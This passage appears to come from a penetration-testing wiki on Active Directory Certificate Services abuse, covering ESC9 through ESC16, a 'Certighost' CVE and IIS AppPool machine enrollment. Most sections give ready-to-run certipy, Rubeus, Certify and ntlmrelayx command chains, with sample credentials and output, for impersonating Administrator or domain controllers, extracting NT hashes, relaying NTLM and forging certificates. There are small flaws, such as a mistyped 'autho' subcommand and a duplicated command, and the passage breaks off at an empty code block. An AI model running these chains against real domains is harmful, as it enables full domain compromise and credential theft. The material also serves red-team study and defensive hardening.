    518 The new value **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) for **`msPKI-Enrollment-Flag`**, referred to as ESC9, prevents the embedding of the **new `szOID_NTDS_CA_SECURITY_EXT` security extension** in a certificate. This flag becomes relevant when `StrongCertificateBindingEnforcement` is set to `1` (the default setting), which contrasts with a setting of `2`. Its relevance is heightened in scenarios where a weaker certificate mapping for Kerberos or Schannel might be exploited (as in ESC10), given that the absence of ESC9 would not alter the requirements.<sup>[[7]](#references)</sup>
    519 
    520 The conditions under which this flag's setting becomes significant include:
    521 
    522 - `StrongCertificateBindingEnforcement` is not adjusted to `2` (with the default being `1`), or `CertificateMappingMethods` includes the `UPN` flag.
    523 - The certificate is marked with the `CT_FLAG_NO_SECURITY_EXTENSION` flag within the `msPKI-Enrollment-Flag` setting.
    524 - Any client authentication EKU is specified by the certificate.
    525 - `GenericWrite` permissions are available over any account to compromise another.
    526 
    527 ### Abuse Scenario
    528 
    529 Suppose `John@corp.local` holds `GenericWrite` permissions over `Jane@corp.local`, with the goal to compromise `Administrator@corp.local`. The `ESC9` certificate template, which `Jane@corp.local` is permitted to enroll in, is configured with the `CT_FLAG_NO_SECURITY_EXTENSION` flag in its `msPKI-Enrollment-Flag` setting.
    530 
    531 Initially, `Jane`'s hash is acquired using Shadow Credentials, thanks to `John`'s `GenericWrite`:
    532 
    533 ```bash
    534 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
    535 ```
    536 
    537 Subsequently, `Jane`'s `userPrincipalName` is modified to `Administrator`, purposely omitting the `@corp.local` domain part:
    538 
    539 ```bash
    540 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
    541 ```
    542 
    543 This modification does not violate constraints, given that `Administrator@corp.local` remains distinct as `Administrator`'s `userPrincipalName`.
    544 
    545 Following this, the `ESC9` certificate template, marked vulnerable, is requested as `Jane`:
    546 
    547 ```bash
    548 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
    549 ```
    550 
    551 It's noted that the certificate's `userPrincipalName` reflects `Administrator`, devoid of any “object SID”.
    552 
    553 `Jane`'s `userPrincipalName` is then reverted to her original, `Jane@corp.local`:
    554 
    555 ```bash
    556 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
    557 ```
    558 
    559 Attempting authentication with the issued certificate now yields the NT hash of `Administrator@corp.local`. The command must include `-domain <domain>` due to the certificate's lack of domain specification:
    560 
    561 ```bash
    562 certipy auth -pfx administrator.pfx -domain corp.local
    563 ```
    564 
    565 ## Weak Certificate Mappings - ESC10
    566 
    567 ### Explanation
    568 
    569 Two registry key values on the domain controller are referred to by ESC10:
    570 
    571 - The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`.
    572 - The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`.<sup>[[7]](#references)</sup>
    573 
    574 **Case 1**
    575 
    576 When `StrongCertificateBindingEnforcement` is configured as `0`.
    577 
    578 **Case 2**
    579 
    580 If `CertificateMappingMethods` includes the `UPN` bit (`0x4`).
    581 
    582 ### Abuse Case 1
    583 
    584 With `StrongCertificateBindingEnforcement` configured as `0`, an account A with `GenericWrite` permissions can be exploited to compromise any account B.
    585 
    586 For instance, having `GenericWrite` permissions over `Jane@corp.local`, an attacker aims to compromise `Administrator@corp.local`. The procedure mirrors ESC9, allowing any certificate template to be utilized.
    587 
    588 Initially, `Jane`'s hash is retrieved using Shadow Credentials, exploiting the `GenericWrite`.
    589 
    590 ```bash
    591 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
    592 ```
    593 
    594 Subsequently, `Jane`'s `userPrincipalName` is altered to `Administrator`, deliberately omitting the `@corp.local` portion to avoid a constraint violation.
    595 
    596 ```bash
    597 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
    598 ```
    599 
    600 Following this, a certificate enabling client authentication is requested as `Jane`, using the default `User` template.
    601 
    602 ```bash
    603 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
    604 ```
    605 
    606 `Jane`'s `userPrincipalName` is then reverted to its original, `Jane@corp.local`.
    607 
    608 ```bash
    609 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
    610 ```
    611 
    612 Authenticating with the obtained certificate will yield the NT hash of `Administrator@corp.local`, necessitating the specification of the domain in the command due to the absence of domain details in the certificate.
    613 
    614 ```bash
    615 certipy auth -pfx administrator.pfx -domain corp.local
    616 ```
    617 
    618 ### Abuse Case 2
    619 
    620 With the `CertificateMappingMethods` containing the `UPN` bit flag (`0x4`), an account A with `GenericWrite` permissions can compromise any account B lacking a `userPrincipalName` property, including machine accounts and the built-in domain administrator `Administrator`.
    621 
    622 Here, the goal is to compromise `DC$@corp.local`, starting with obtaining `Jane`'s hash through Shadow Credentials, leveraging the `GenericWrite`.
    623 
    624 ```bash
    625 certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
    626 ```
    627 
    628 `Jane`'s `userPrincipalName` is then set to `DC$@corp.local`.
    629 
    630 ```bash
    631 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
    632 ```
    633 
    634 A certificate for client authentication is requested as `Jane` using the default `User` template.
    635 
    636 ```bash
    637 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
    638 ```
    639 
    640 `Jane`'s `userPrincipalName` is reverted to its original after this process.
    641 
    642 ```bash
    643 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
    644 ```
    645 
    646 To authenticate via Schannel, Certipy’s `-ldap-shell` option is utilized, indicating authentication success as `u:CORP\DC$`.
    647 
    648 ```bash
    649 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
    650 ```
    651 
    652 Through the LDAP shell, commands such as `set_rbcd` enable Resource-Based Constrained Delegation (RBCD) attacks, potentially compromising the domain controller.
    653 
    654 ```bash
    655 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
    656 ```
    657 
    658 This vulnerability also extends to any user account lacking a `userPrincipalName` or where it does not match the `sAMAccountName`, with the default `Administrator@corp.local` being a prime target due to its elevated LDAP privileges and the absence of a `userPrincipalName` by default.
    659 
    660 ## Relaying NTLM to ICPR - ESC11
    661 
    662 ### Explanation
    663 
    664 If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).<sup>[[10]](#references)</sup>
    665 
    666 You can use `certipy` to enumerate if `Enforce Encryption for Requests` is Disabled and certipy will show `ESC11` Vulnerabilities.
    667 
    668 ```bash
    669 $ certipy find -u <user>@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
    670 Certipy v4.0.0 - by Oliver Lyak (ly4k)
    671 
    672 Certificate Authorities
    673   0
    674     CA Name                             : DC01-CA
    675     DNS Name                            : DC01.domain.local
    676     Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
    677     ....
    678     Enforce Encryption for Requests     : Disabled
    679     ....
    680     [!] Vulnerabilities
    681       ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
    682 
    683 ```
    684 
    685 ### Abuse Scenario
    686 
    687 It need to setup a relay server:
    688 
    689 ```bash
    690 $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
    691 Certipy v4.7.0 - by Oliver Lyak (ly4k)
    692 
    693 [*] Targeting rpc://DC01.domain.local (ESC11)
    694 [*] Listening on 0.0.0.0:445
    695 [*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
    696 [*] Attacking user 'Administrator@DOMAIN'
    697 [*] Template was not defined. Defaulting to Machine/User
    698 [*] Requesting certificate for user 'Administrator' with template 'User'
    699 [*] Requesting certificate via RPC
    700 [*] Successfully requested certificate
    701 [*] Request ID is 10
    702 [*] Got certificate with UPN 'Administrator@domain.local'
    703 [*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
    704 [*] Saved certificate and private key to 'administrator.pfx'
    705 [*] Exiting...
    706 ```
    707 
    708 Note: For domain controllers, we must specify `-template` in DomainController.
    709 
    710 Or using [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
    711 
    712 ```bash
    713 $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
    714 ```
    715 
    716 ## Shell access to ADCS CA with YubiHSM - ESC12
    717 
    718 ### Explanation
    719 
    720 Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2".
    721 
    722 If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM.
    723 
    724 This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext.
    725 
    726 Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).<sup>[[11]](#references)</sup>
    727 
    728 ### Abuse Scenario
    729 
    730 If the CA's private key stored on a physical USB device when you got a shell access, it is possible to recover the key.
    731 
    732 In first, you need to obtain the CA certificate (this is public) and then:
    733 
    734 ```batch
    735 # import it to the user store with CA certificate
    736 $ certutil -addstore -user my <CA certificate file>
    737 
    738 # Associated with the private key in the YubiHSM2 device
    739 $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
    740 ```
    741 
    742 Finally, use the certutil `-sign` command to forge a new arbitrary certificate using the CA certificate and its private key.
    743 
    744 ## OID Group Link Abuse - ESC13
    745 
    746 ### Explanation
    747 
    748 The `msPKI-Certificate-Policy` attribute allows the issuance policy to be added to the certificate template. The `msPKI-Enterprise-Oid` objects that are responsible for issuing policies can be discovered in the Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) of the PKI OID container. A policy can be linked to an AD group using this object's `msDS-OIDToGroupLink` attribute, enabling a system to authorize a user who presents the certificate as though he were a member of the group. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).<sup>[[12]](#references)</sup>
    749 
    750 In other words, when a user has permission to enroll a certificate and the certificate is link to an OID group, the user can inherit the privileges of this group.
    751 
    752 Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
    753 
    754 ```bash
    755 Enumerating OIDs
    756 ------------------------
    757 OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
    758 
    759 OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
    760 OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
    761 OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
    762 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
    763 ------------------------
    764 Enumerating certificate templates
    765 ------------------------
    766 Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
    767 
    768 Certificate template Name: VulnerableTemplate
    769 OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
    770 OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
    771 OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
    772 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
    773 ------------------------
    774 ```
    775 
    776 ### Abuse Scenario
    777 
    778 Find a user permission it can use `certipy find` or `Certify.exe find /showAllPermissions`.
    779 
    780 If `John` have have permission to enroll `VulnerableTemplate`, the user can inherit the privileges of `VulnerableGroup` group.
    781 
    782 All it need to do just specify the template, it will get a certificate with OIDToGroupLink rights.
    783 
    784 ```bash
    785 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
    786 ```
    787 
    788 ## Vulnerable Certificate Renewal Configuration- ESC14
    789 
    790 ### Explanation
    791 
    792 The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text.<sup>[[14]](#references)</sup>
    793 
    794 ESC14 addresses vulnerabilities arising from "weak explicit certificate mapping", primarily through the misuse or insecure configuration of the `altSecurityIdentities` attribute on Active Directory user or computer accounts. This multi-valued attribute allows administrators to manually associate X.509 certificates with an AD account for authentication purposes. When populated, these explicit mappings can override the default certificate mapping logic, which typically relies on UPNs or DNS names in the SAN of the certificate, or the SID embedded in the `szOID_NTDS_CA_SECURITY_EXT` security extension.
    795 
    796 A "weak" mapping occurs when the string value used within the `altSecurityIdentities` attribute to identify a certificate is too broad, easily guessable, relies on non-unique certificate fields, or uses easily spoofable certificate components. If an attacker can obtain or craft a certificate whose attributes match such a weakly defined explicit mapping for a privileged account, they can use that certificate to authenticate as and impersonate that account.
    797 
    798 Examples of potentially weak `altSecurityIdentities` mapping strings include:
    799 
    800 - Mapping solely by a common Subject Common Name (CN): e.g., `X509:<S>CN=SomeUser`. An attacker might be able to obtain a certificate with this CN from a less secure source.
    801 - Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
    802 - Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1).
    803 
    804 The `altSecurityIdentities` attribute supports various formats for mapping, such as:
    805 
    806 - `X509:<I>IssuerDN<S>SubjectDN` (maps by full Issuer and Subject DN)
    807 - `X509:<SKI>SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value)
    808 - `X509:<SR>SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `<I>IssuerDN<SR>SerialNumber`.
    809 - `X509:<RFC822>EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN)
    810 - `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong)
    811 
    812 The security of these mappings depends heavily on the specificity, uniqueness, and cryptographic strength of the chosen certificate identifiers used in the mapping string. Even with strong certificate binding modes enabled on Domain Controllers (which primarily affect implicit mappings based on SAN UPNs/DNS and the SID extension), a poorly configured `altSecurityIdentities` entry can still present a direct path for impersonation if the mapping logic itself is flawed or too permissive.
    813 ### Abuse Scenario
    814 
    815 ESC14 targets **explicit certificate mappings** in Active Directory (AD), specifically the `altSecurityIdentities` attribute. If this attribute is set (by design or misconfiguration), attackers can impersonate accounts by presenting certificates that match the mapping.
    816 
    817 #### Scenario A: Attacker Can Write to `altSecurityIdentities`
    818 
    819  **Precondition**: Attacker has write permissions to the target account’s `altSecurityIdentities` attribute or the permission to grant it in the form of one of the following permissions on the target AD object:  
    820 - Write property `altSecurityIdentities`  
    821 - Write property `Public-Information`  
    822 - Write property (all)  
    823 - `WriteDACL`  
    824 - `WriteOwner`*  
    825 - `GenericWrite`  
    826 - `GenericAll`  
    827 - Owner*.
    828 #### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
    829 
    830 - **Precondition**: The target has a weak X509RFC822 mapping in altSecurityIdentities. An attacker can set the victim's mail attribute to match the target's X509RFC822 name, enroll a certificate as the victim, and use it to authenticate as the target.
    831 #### Scenario C: Target Has X509IssuerSubject Mapping
    832 
    833 - **Precondition**: The target has a weak X509IssuerSubject explicit mapping in `altSecurityIdentities`.The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509IssuerSubject mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
    834 #### Scenario D: Target Has X509SubjectOnly Mapping
    835 
    836 - **Precondition**: The target has a weak X509SubjectOnly explicit mapping in `altSecurityIdentities`. The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509SubjectOnly mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
    837 ### concrete operations
    838 #### Scenario A
    839 
    840 Request a certificate of the certificate template `Machine`
    841 
    842 ```bash
    843 .\Certify.exe request /ca:<ca> /template:Machine /machine
    844 ```
    845 
    846  Save and convert the certificate
    847 
    848 ```bash
    849 certutil -MergePFX .\esc13.pem .\esc13.pfx
    850 ```
    851 
    852  Authenticate (using the certificate)
    853 
    854 ```bash
    855 .\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
    856 ```
    857 
    858 Cleanup (optional)
    859 
    860 ```bash
    861 Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
    862 ```
    863 
    864 For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).<sup>[[13]](#references)</sup>
    865 
    866 ## EKUwu Application Policies(CVE-2024-49019) - ESC15
    867 
    868 ### Explanation
    869 
    870 The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text.<sup>[[15]](#references)</sup>
    871 
    872 Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
    873 
    874 ### Abuse
    875 
    876 The [Certipy privilege-escalation documentation](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu) contains more detailed usage examples.<sup>[[14]](#references)</sup>
    877 
    878 
    879 Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
    880 
    881 ```bash
    882 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
    883 ```
    884 
    885 #### Scenario A: Direct Impersonation via Schannel
    886 
    887 **Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Attacker `attacker@corp.local` targets `administrator@corp.local` using the "WebServer" V1 template (which allows enrollee-supplied subject).
    888 
    889 ```bash
    890 certipy req \
    891     -u 'attacker@corp.local' -p 'Passw0rd!' \
    892     -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
    893     -ca 'CORP-CA' -template 'WebServer' \
    894     -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
    895     -application-policies 'Client Authentication'
    896 ```
    897 
    898 - `-template 'WebServer'`: The vulnerable V1 template with "Enrollee supplies subject".
    899 - `-application-policies 'Client Authentication'`: Injects the OID `1.3.6.1.5.5.7.3.2` into the Application Policies extension of the CSR.
    900 - `-upn 'administrator@corp.local'`: Sets the UPN in the SAN for impersonation.
    901 
    902 **Step 2: Authenticate via Schannel (LDAPS) using the obtained certificate.**
    903 
    904 ```bash
    905 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
    906 ```
    907 
    908 #### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
    909 
    910 **Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** This certificate is for the attacker (`attacker@corp.local`) to become an enrollment agent. No UPN is specified for the attacker's own identity here, as the goal is the agent capability.
    911 
    912 ```bash
    913 certipy req \
    914     -u 'attacker@corp.local' -p 'Passw0rd!' \
    915     -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
    916     -ca 'CORP-CA' -template 'WebServer' \
    917     -application-policies 'Certificate Request Agent'
    918 ```
    919 
    920 - `-application-policies 'Certificate Request Agent'`: Injects OID `1.3.6.1.4.1.311.20.2.1`.
    921 
    922 **Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** This is an ESC3-like step, using the certificate from Step 1 as the agent certificate.
    923 
    924 ```bash
    925 certipy req \
    926     -u 'attacker@corp.local' -p 'Passw0rd!' \
    927     -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
    928     -ca 'CORP-CA' -template 'User' \
    929     -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
    930 ```
    931 
    932 **Step 3: Authenticate as the privileged user using the "on-behalf-of" certificate.**
    933 
    934 ```bash
    935 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
    936 ```
    937 
    938 ## Security Extension Disabled on CA (Globally)-ESC16
    939 
    940 ### Explanation
    941 
    942 **ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** refers to the scenario where, if the configuration of AD CS does not enforce the inclusion of the **szOID_NTDS_CA_SECURITY_EXT** extension in all certificates, an attacker can exploit this by:
    943 
    944 1. Requesting a certificate **without SID binding**.
    945     
    946 2. Using this certificate **for authentication as any account**, such as impersonating a high-privilege account (e.g., a Domain Administrator).
    947 
    948 You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6<sup>[[16]](#references)</sup>
    949 
    950 ### Abuse
    951 
    952 The following is referenced to [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally),Click to see more detailed usage methods.<sup>[[14]](#references)</sup>
    953 
    954 To identify whether the Active Directory Certificate Services (AD CS) environment is vulnerable to **ESC16**
    955 
    956 ```bash
    957 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
    958 ```
    959 
    960 **Step 1: Read initial UPN of the victim account (Optional - for restoration).  
    961 
    962 
    963 ```bash
    964 certipy account \
    965     -u 'attacker@corp.local' -p 'Passw0rd!' \
    966     -dc-ip '10.0.0.100' -user 'victim' \
    967     read
    968 ```
    969 
    970 **Step 2: Update the victim account's UPN to the target administrator's `sAMAccountName`.  
    971 
    972 ```bash
    973 certipy account \
    974     -u 'attacker@corp.local' -p 'Passw0rd!' \
    975     -dc-ip '10.0.0.100' -upn 'administrator' \
    976     -user 'victim' update
    977 ```
    978 
    979 **Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).**
    980 
    981 ```bash
    982 certipy shadow \
    983     -u 'attacker@corp.local' -p 'Passw0rd!' \
    984     -dc-ip '10.0.0.100' -account 'victim' \
    985     auto
    986 ```
    987 
    988 **Step 4: Request a certificate as the "victim" user from _any suitable client authentication template_ (e.g., "User") on the ESC16-vulnerable CA.** Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template's specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):
    989 
    990 ```bash
    991 export KRB5CCNAME=victim.ccache
    992 ```
    993 
    994 Then request the certificate:
    995 
    996 ```bash
    997 certipy req \
    998     -k -dc-ip '10.0.0.100' \
    999     -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
   1000     -template 'User'
   1001 ```
   1002 
   1003 **Step 5: Revert the "victim" account's UPN.**
   1004 
   1005 ```bash
   1006 certipy account \
   1007     -u 'attacker@corp.local' -p 'Passw0rd!' \
   1008     -dc-ip '10.0.0.100' -upn 'victim@corp.local' \
   1009     -user 'victim' update
   1010 ```
   1011 
   1012 **Step 6: Authenticate as the target administrator.**
   1013 
   1014 ```bash
   1015 certipy auth \
   1016     -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
   1017     -username 'administrator' -domain 'corp.local'
   1018 ```
   1019 
   1020 ## Rogue LDAP/LSA chase callback identity substitution (Certighost / CVE-2026-54121)
   1021 
   1022 ### Explanation
   1023 
   1024 **Certighost** abuses an **AD CS enrollment chase / callback path** where the CA trusts requester-supplied request attributes to resolve the identity that should be placed in the issued certificate. In the public PoC, the crafted request includes:<sup>[[1]](#references)[[2]](#references)</sup>
   1025 
   1026 - **`cdc`**: attacker-controlled host/IP that the CA will contact
   1027 - **`rmd`**: the **target Domain Controller DNS name** to impersonate
   1028 
   1029 If the CA follows that chase, it will connect to the attacker over **SMB/LSA (`445`)** and **LDAP (`389`)**. The attacker uses a **real machine account** (usually created via the default **`ms-DS-MachineAccountQuota`**) so the callback session authenticates as a valid domain principal, but the rogue services return the **target DC's** identity attributes instead:
   1030 
   1031 - `sAMAccountName`
   1032 - `objectSid` / SID
   1033 - `dNSHostName`
   1034 
   1035 If the CA **doesn't cryptographically bind the returned identity to the authenticated callback principal**, it can issue a certificate for the **Domain Controller** even though the session authenticated as the attacker-controlled machine account. This makes the bug conceptually different from **Certifried**: instead of rewriting AD attributes such as `dNSHostName`, the attacker **substitutes identity data during CA callback resolution**.<sup>[[2]](#references)</sup>
   1036 
   1037 **Useful preconditions:**
   1038 
   1039 - Low-privileged **domain credentials**
   1040 - Ability to **create or reuse a computer account**
   1041 - Network reachability from the **CA** to attacker-controlled **ports `389` and `445`**
   1042 - Vulnerable / unpatched CA request path (the **July 14, 2026** Microsoft update added **DC validation for `cdc`** plus a **resolved-SID comparison**)
   1043 
   1044 The resulting **`.pfx`** can then be used for **PKINIT**, producing a **`.ccache`** and, in the published PoC flow, the **target DC NT hash**, which is normally enough for **full domain compromise**.
   1045 
   1046 ### Abuse
   1047 
   1048 The public PoC automates the full chain:<sup>[[1]](#references)</sup>
   1049 
   1050 1. Create or reuse an attacker-controlled **machine account**.
   1051 2. Start **rogue LDAP and SMB/LSA listeners** on `389` and `445`.
   1052 3. Submit a certificate request containing attacker-controlled **`cdc`** and target **`rmd`** attributes.
   1053 4. Let the CA authenticate to the rogue listeners as the controlled machine account, but answer the identity lookups with the **target DC** attributes.
   1054 5. Receive a CA-signed **DC certificate**, then use it for **PKINIT**.
   1055 
   1056 ```bash
   1057 sudo python3 certighost.py -d playground.local -u lowpriv -p 'Password1234' --dc-ip 192.168.1.10
   1058 ```
   1059 
   1060 Useful runtime flags from the PoC:
   1061 
   1062 - `--listener <ip>`: explicitly choose the callback IP advertised in `cdc`
   1063 - `--computer-name <NAME$>`: reuse an existing machine account instead of creating a new one
   1064 
   1065 **Operational notes:**
   1066 
   1067 - The PoC needs **root** because it binds to **privileged ports** `389` and `445`.
   1068 - Successful exploitation writes a **DC `.pfx`** and **Kerberos `.ccache`** locally.
   1069 - Because the certificate maps to a **Domain Controller account**, follow-on actions can include **certificate-based Kerberos auth**, **DCSync**, and reuse of the recovered **machine NT hash**.<sup>[[2]](#references)</sup>
   1070 
   1071 ## IIS AppPool machine enrollment to same-host Administrator
   1072 
   1073 An IIS pool running as `ApplicationPoolIdentity` uses its host's **computer account** for outbound access to network resources. Therefore, code execution as `IIS AppPool\<POOL>` stays low-privileged in the local token but can submit an AD CS request that the CA authenticates as `HOST$`; this is an outbound identity transition, not token impersonation or a Potato-style local elevation.<sup>[[19]](#references)[[20]](#references)</sup>
   1074 
   1075 This chain requires a domain-joined IIS host, an Enterprise CA reachable through RPC, a published machine-authentication template for which the computer has enrollment rights, PKINIT support, and KDC/SMB reachability. A custom pool identity changes the outbound principal, so confirm the pool really uses `ApplicationPoolIdentity` before assuming `HOST$`.<sup>[[19]](#references)[[20]](#references)</sup>
   1076 
   1077 ### Attacker-controlled-key enrollment
   1078 
   1079 Generate the key pair and CSR away from the IIS server and retain the private key. Submit **only the CSR** from the compromised worker. The [Certi-Bhai ASPX PoC](https://github.com/incredibleindishell/Certi-Bhai/blob/main/IIS_Privilege_escalation/cert.aspx) instantiates `CertificateAuthority.Request`, sets `CertificateTemplate:Machine`, calls `ICertRequest::Submit`, and returns the issued certificate. Use the CA configuration string `CAHOST\CA-NAME`; a normal `Machine` template builds the subject from AD, so requester-supplied subject/SAN data is not required.<sup>[[18]](#references)[[19]](#references)[[21]](#references)</sup>
   1080 
   1081 Combine the returned certificate with the **matching retained key**. `certutil -MergePFX machine_cert.cer machine_cert.pfx` only works when Windows can already associate the certificate with an accessible private key; for separate PEM files, create PKCS#12 explicitly:<sup>[[19]](#references)[[23]](#references)</sup>
   1082 
   1083 ```bash
   1084 openssl pkcs12 -export -in machine_cert.cer -inkey machine_cert.key \
   1085   -out machine_cert.pfx -name 'HOST$'
   1086 ```
   1087 
   1088 Use the PFX for PKINIT and keep the returned computer TGT as base64 rather than injecting it immediately:<sup>[[5]](#references)[[19]](#references)</sup>
   1089 
   1090 ```powershell
   1091 Rubeus.exe asktgt /user:HOST$ /domain:DOMAIN /certificate:machine_cert.pfx `
   1092   /password:PFX_PASSWORD /nowrap
   1093 ```
   1094 
   1095 ### S4U2Self plus same-host service substitution
   1096 
   1097 S4U2Self lets a service obtain a ticket **to itself** containing another user's authorization data. With the computer TGT, Rubeus can request that ticket for a privileged user, rewrite the service name in the returned KRB-CRED to CIFS, and inject it. This is the local “delegate to thyself” primitive: it does not require S4U2Proxy or an `msDS-AllowedToDelegateTo` entry.<sup>[[5]](#references)[[17]](#references)[[22]](#references)</sup>
   1098 
   1099 ```powershell
